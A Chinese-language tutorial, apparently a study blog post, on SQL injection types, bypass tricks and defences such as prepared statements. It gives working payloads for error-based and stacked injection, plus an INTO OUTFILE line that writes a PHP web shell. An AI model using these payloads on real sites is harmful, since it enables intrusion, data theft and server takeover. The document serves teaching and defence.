SQL注入原理:

用户输出的数据被当作后端代码执行

注入类型:

  1. 联合查询
  2. 盲注
  3. 报错注入
  4. 堆叠注入
  5. 二次注入
  6. 增删改注入
  7. limit注入
  8. order by注入

1. 联合查询

sql注入python脚本 sql注入代码_web安全

2. 盲注

(1)布尔盲注:数据库没有回显,只有对错

常用函数:

  1. length:查看长度
  2. substr(查询内容,1,1):截取字符串
  3. ascii:得到字符的ascii值

(2)时间盲注:数据库没有回显,都是正确

  1. sleep
  2. if(语句,正确执行,错误执行)

3.报错注入

常用函数:

  • updatexml
  • extractvalue
  • floor
  • exp

xpath语法错误

函数:updatexml,extractvalue

?id=1' and (select updatexml(1,concat('~',(select database())),1))

?id=1' and (select updatexml(1,concat('~',(子查询语句)),1))


?id=1' and (select extractvalue(1,concat('~',(select database()))))

?id=1' and (select extractvalue(1,concat('~',(子查询语句))))

主键重复

'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足大的表" group by x)a--+

整型溢出

4.堆叠注入

条件:php中使用mysqli_multi_query()函数执行sql语句(一般情况下会使用mysqli_query())

方法:利用;执行多条语句

?id=1';show databases;-- qwe

也可以利用报错注入和延时注入

5.二次注入

原理:已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

条件:

  1. 用户向数据库插入恶意语句,即使是被转义
  2. 数据库对自己储存的数据很放心,将恶意语句直接传递给了用户

首先创建两个账户

sql注入python脚本 sql注入代码_安全_02

 设置不同的密码,然后修改Wf'#的密码,发现Wf的密码被修改

sql注入python脚本 sql注入代码_安全_03

 

sql注入python脚本 sql注入代码_SQL_04

在修改密码时,数据库直接把数据给了用户,而Wf '#的’#被过滤掉了,导致修改为Wf修改密码

6.增删改注入

条件:在insert、delete、update语句注入

方式:报错注入、任意修改数据库内容。

7.limit注入

条件:在limit语句注入,mysql版本:5.0.0< MySQL <5.6.6

ps.新版本中不能够使用select

方式:报错注入,盲注

8.order by注入

条件:在order by语句注入

方式:报错注入,盲注

sql注入get shell

函数:(把得到的结果导出)

into outfile' 绝对路径'

into dumpfile'   '

union select "<?php eval($_REQUEST[8])?>",2.3 into outfile'绝对路径'

sql注入python脚本 sql注入代码_web安全_05

这里还涉及一个白名单绕过,就不讲了

sql注入python脚本 sql注入代码_安全_06

 

 SQL注入绕过

空格

括号绕过:select(password)from(user)

%0a等字符

注释替代绕过:/**/,/!**/

逗号

from for: substr('dsfsadfs' from 1 for 2)

join:union select * from (select 1)a join (select 2)b join (select 3)c

offset:limit 0 offset 1

单引号

hex编码

char编码

比较符号

= :like regexp  rlike

!= :<>

大小于:geartest(),least()

注释符

-- -、%23、;%00

同义函数

sleep,benchmark(5000000,select 1)

hex()  bin()  ascii() ord()

mid()  substr()  substring()

concat_ws()  group_concat()

SQL注入的防御

  1. 预编译
  2. PDO
  3. 正则表达式的过滤
  4. 严格限制网站访问数据库的权限。
  5. 数据类型进行严格定义,数据长度进行严格规定
  6. 对用户输入进行转过滤

预编译

做些代码文本的替换工作,简单理解:

我可真是太##了!

预编译就是对#进行替换,我换成漂亮,则变成:我可真是太漂亮了!

原理:在程序运行时第一次操作数据库之前,SQL语句已经被数据库分析,编译和优化,即使参数里有敏感字符如 or '1=1'也数据库会作为一个参数一个字段的属性值来处理

转过滤

magic_quotes_gpc(魔法引号开关)遇到‘ “ \等会自动转义导致无法输入可执行代码